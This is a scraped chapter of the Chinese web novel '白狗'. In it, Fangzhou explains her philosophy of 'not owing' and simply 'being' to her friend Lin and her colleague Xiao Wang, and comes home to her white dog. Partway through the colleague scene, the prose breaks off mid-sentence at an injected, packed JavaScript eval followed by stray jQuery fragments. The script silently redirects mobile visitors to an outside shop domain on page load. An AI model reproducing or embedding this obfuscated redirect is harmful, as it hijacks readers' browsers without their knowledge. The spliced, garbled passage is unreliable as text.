爱奇小说 > 都市小说 > 白狗 > 90.90
    方舟吃完了。她放下筷子,擦了擦嘴。林没有吃几口。她的剁椒鱼头几乎没动。

    方舟说:“你不吃了吗?”

    林说:“不吃了。”

    方舟说:“那我买单。”

    林说:“我请你。”

    方舟说:“不用。各付各的。”

    林说:“你为什么总是这样?分得这么清。”

    方舟说:“因为不欠。”

    林说:“朋友之间有什么欠不欠的?”

    方舟说:“有。你请我,我欠你。我请你,你欠我。不请,就不欠。不欠就是自由。”

    林不懂。她看着方舟,像看一个外星人。方舟不介意。外星人就是“不在她的世界里”。不在就是自由。自由就是在。

    方舟买了单,站起来。林也站起来。两个人走出餐厅,站在门口。阳光很好。

    林说:“我们还能做朋友吗?”

    方舟说:“什么是朋友?”

    林说:“就是……互相帮助,互相支持。”

    方舟说:“我不需要帮助,也不需要支持。但我可以和你在一起。你想在一起,就在。不想,就不在。不绑定,不承诺,不代偿。”

    林说:“你变了。”

    方舟说:“我没变。是你刚看到我。”

    林转身走了。高跟鞋踩在地上,哒哒哒的。声音越来越远,最后被街上的噪音吞没。

    方舟站在原地,看着林的背影。她想:林会难过。难过是林的。不是她的。她不负责林的难过。她只负责自己的“在”。在就是自由。

    方舟走回家。路上,她想到了“受什么刺激了”这个词。刺激是“外来的力量改变了你”。方舟没有被改变。她是自己变的。自己变就是“生长”。生长不是刺激,是自然。她自然变成了现在的样子。自然就是在。

    方舟到家门口,掏出钥匙。门锁还是有点涩,拧了两下才开。推开门,白狗在玄关。它从沙发上跳下来的,方舟听到了那个声音——咚,四只爪子同时落地。

    白狗走到她面前,看着她。尾巴没有摇,耳朵竖着。方舟蹲下来,摸了一下它的头。

    “有人说我受刺激了。”方舟说。

    白狗的耳朵动了一下。

    方舟说:“我说没有。”

    白狗把头蹭了蹭她的手心。方舟感觉到了那个温度。暖的。

    方舟换了鞋,走到客厅,坐下来。白狗跟过来,趴在她脚边。方舟把手放在白狗头上,手心贴着它的头顶。暖的。方的。

    她说:“我没受刺激。”

    白狗的尾巴摇了摇,把头蹭了蹭她的手心。方舟感觉到了那个温度。暖的。

    方舟闭上眼睛。黑暗里,三个房间同时出现。方舟的客厅,嫫的山巅,调档员的档案室。三个房间都有“受刺激了”的问题。旧框架的人问方舟,部落的人问嫫,委员会问调档员。三个人都说“没有”。方舟没受刺激,嫫没受刺激,调档员没受刺激。她们是自己变的。自己变就是自由。自由就是在。

    方舟睁开眼睛,白狗在看她。

    方舟说:“没有。”

    白狗的尾巴摇了下。把头蹭了蹭她的手心。方舟感觉到了那个温度。暖的。

    她靠着沙发,看着窗户。天快黑了,路灯亮了。橘黄色的光从窗户照进来。白狗的眼睛在暗处反光,两小点亮亮的。方舟看着那两小点亮光,想到了“受刺激了”的最后一个意思:受刺激了是旧框架的解释。

    旧框架解释不了“一个人可以不正常地正常”。所以他们说“你受刺激了”。方舟不解释。她只是在。

    方舟把手放在白狗头上。手心贴着它的头顶。暖的。方的。白狗闭上了眼睛。方舟也闭上了眼睛。三个房间一起闭上眼睛。

    黑暗里,底层的光透上来。白狗在光里,方舟在光里,嫫在光里,调档员在光里。四个在,同一个光。光就是“没有”。没有就是“在”。

    ·

    场景三:同事说“你不觉得一个人很可怜吗”。方舟说“不觉得”。

    同事是小王。同一个部门,坐对面。午休时间,食堂。小王端着餐盘坐到方舟对面。

    小王是新人,二十四五岁,刚毕业不久。她喜欢说话,什么都问。方舟不讨厌她。小王是“还没被旧框架完全吃掉”的人。她问问题,不是“审判”,是“好奇”。好奇是好的。好奇是“我想知道”。不是“你应该”。方舟愿意回答。

    小王吃了一口米饭,嚼着,看着方舟。“姐,你不觉得一个人很可怜吗?”

    方舟夹了一块西兰花,嚼了咽下去。“不觉得。”

    小王说:“为什么?我一个人待着就觉得难受。没人说话,没人一起吃饭,没人分享。我觉得可怜。”

    方舟说:“你觉得可怜,是因为你觉得自己缺。我不觉得自己缺。我不缺,就不可怜。”

    小王说:“你不缺什么?你不缺人陪?”

    方舟说:“不缺。我有白狗。白

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793892|209973||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狗不是人,但它在我旁边。它在,我就不缺。”

    小王说:“狗能陪你说话吗?”

    方舟说:“不能。但我不需要说话。我需要的是‘在’。它在,我就在。两个在放在一起,就是‘我们’。我们在,就是够。够就是不可怜。”

    小王沉默了。她在想。她的筷子夹着一块红烧肉,停在半空中。方舟看着她,不催。想是需要时间的。时间就是在。

    小王说:“我可能还没到你那个阶段。”

    方舟说:“不是阶段。是选择。你选‘缺’,你就缺。你选‘不缺’,你就不缺。”

    小王说:“我能选吗?”

    方舟说:“能。你现在就可以选。你选‘我不缺’,你看看会怎样。”

    小王放下筷子,闭上眼睛。过了几秒,她睁开眼睛。“我试了。不行。我还是觉得缺。”

    方舟说:“那就不勉强。你觉得缺,你就去找人。找到了,你就不缺了。找不到,你再试试‘选不缺’。”

    小王说:“你以前也觉得缺吗?”

    方舟说:“觉得。小时候觉得缺安全,缺爱,缺认可。后来不算了。不算了,就不缺了。”

    小王说:“不算了是什么意思?”

    方舟说:“不算账了。不算‘他欠我什么’,不算‘我欠他什么’。不算,就没有账。没有账,就不缺。不缺,就是自由。自由,就是在。”

    小王不懂。她的脸上写着“你在说什么”。方舟不解释。解释是“你听不懂,我帮你听懂”。小王还没到听懂的时候。她需要先经历。经历了,就知道了。知道了,就是在。

    方舟吃完了。她端起餐盘,站起来。

    小王说:“姐,谢谢你。”

    方舟说:“谢什么?”

    小王说:“谢你回答我的问题。”

    方舟说:“不用谢。我只是在。”

    方舟走了。身后,小王一个人坐着,端着餐盘,看着她走远。方舟没有回头。回头是“还在乎”。她不在乎。是“不欠”。不欠就不需要在乎。不在乎就是自由。自由就是在。

    方舟把餐盘放到回收处,走出食堂。外面阳光很好。她走在回办公室的路上,想到了“可怜”这个词。

    可怜是“你缺,我同情你”。旧框架的人觉得一个人可怜,是因为他们自己缺。他们把自己的缺投射到别人身上。方舟不接。不接就是“你的缺是你的,不是我的”。她不可怜。她在,就是够。够就是不可怜。